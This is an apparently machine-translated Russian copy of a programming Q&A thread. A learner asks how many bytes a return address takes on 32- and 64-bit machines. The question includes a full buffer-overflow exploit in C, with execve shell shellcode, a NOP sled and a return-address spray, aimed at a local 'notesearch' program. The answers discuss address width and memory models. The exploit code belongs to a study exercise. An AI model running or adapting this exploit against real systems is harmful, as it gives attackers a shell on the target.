2016-01-28 4 views
0

Я знаю, что это может звучать немного noobish, но я не могу найти это где угодно. На 64-битной машине, сколько байтов является обратным адресом? Как насчет 32 бит?Каков размер обратного адреса?

Причина, по которой я спрашиваю, заключается в том, что я изучаю эксплойты переполнения буфера, и мне приходится писать эксплойт. Существует такая программа, в которой в буфере выделено 100 символов, но не проверяет, не переполнена ли она. Программа у меня до сих пор:

#include <stdio.h> 
#include <stdlib.h> 
#include <string.h> 


const char shellcode[] = 
"\x31\xc0\x48\xbb\xd1\x9d\x96\x91\xd0\x8c\x97\xff\x48\xf7\xdb\x53\x54\x5f\x99\x52\x57\x54\x5e\xb0\x3b\x0f\x05"; 



int main(int argc, char *argv[]) { 

    long int i, *ptr, ret, offset = 176; 
    char *command, *buffer; 

    command = (char *) malloc(200); 
    memset(command, 0, 200); //Zero out the new memory 

    strcpy(command, "./notesearch \'"); 
    buffer = command + strlen(command); // Set buffer at the end 

    if(argc > 1) //Set offset 
     offset = atoi(argv[1]); 

    ret = ((long int) &i) - offset; //Set return address 


    for(i=0; i <160; i+=8) //Fill buffer with return addres 
     *((long int *)(buffer + i)) = ret; 

    memset(buffer, 0x90, 60); //Build NOP sled 
    memcpy(buffer+60, shellcode, sizeof(shellcode) -1); 

    strcat(command, "\'"); 

    system(command); //Run Exploit 
    free (command); 
} 

Причина мне интересно, потому что когда я заполнения буфера с обратным адресом, мне нужно, чтобы убедиться, что это правильный размер

+1

Что вы подразумеваете под этим? Вы имеете в виду адрес инструкции, к которой вы возвращаетесь, при выполнении 'return;'? – Barmar

+2

Программы C не имеют явного «обратного адреса». Указатели функций в 64-разрядном адресном пространстве можно разумно ожидать, что они будут иметь ширину 64 бита и 32 бита в 32-битовом адресном пространстве. Это применимо, когда код и данные находятся в одном и том же пространстве. Я работал с чипами DSP с отдельным пространством данных и программ с разными характеристиками. – Kaz

+1

Почему это имеет значение? –

ответ

2

Это зависит от того, что вы подразумеваете под «64-разрядной машиной» или «32-разрядной машиной».

Во-первых, ваш вопрос помечен C. Платформа C может быть реализована как справедливо (или полностью) независимо от базового оборудования, что означает, что он может использовать обратный адрес любого размера, независимо от машины.

Во-вторых, если платформа C поддерживает тесные связи с базовым оборудованием (как это обычно бывает), то на платформах с плоской моделью памяти это должно быть довольно просто: 64-разрядная машина означает 64-битный адрес возврата; 32-битная машина означает 32-битный адрес возврата.

С другой стороны, на платформах с сегментированной памятью это может зависеть от модели памяти во время выполнения. Например, на платформе DOS для 16-разрядных машин адрес возврата может быть 16 или 32 бит в зависимости от выбранной модели памяти.

+0

. Есть ли способ сообщить, какой размер использует компилятор c – yasgur99

+0

@ yasgur99 Предположительно он использует все, что говорит ABI архитектуры. – Barmar

Смежные вопросы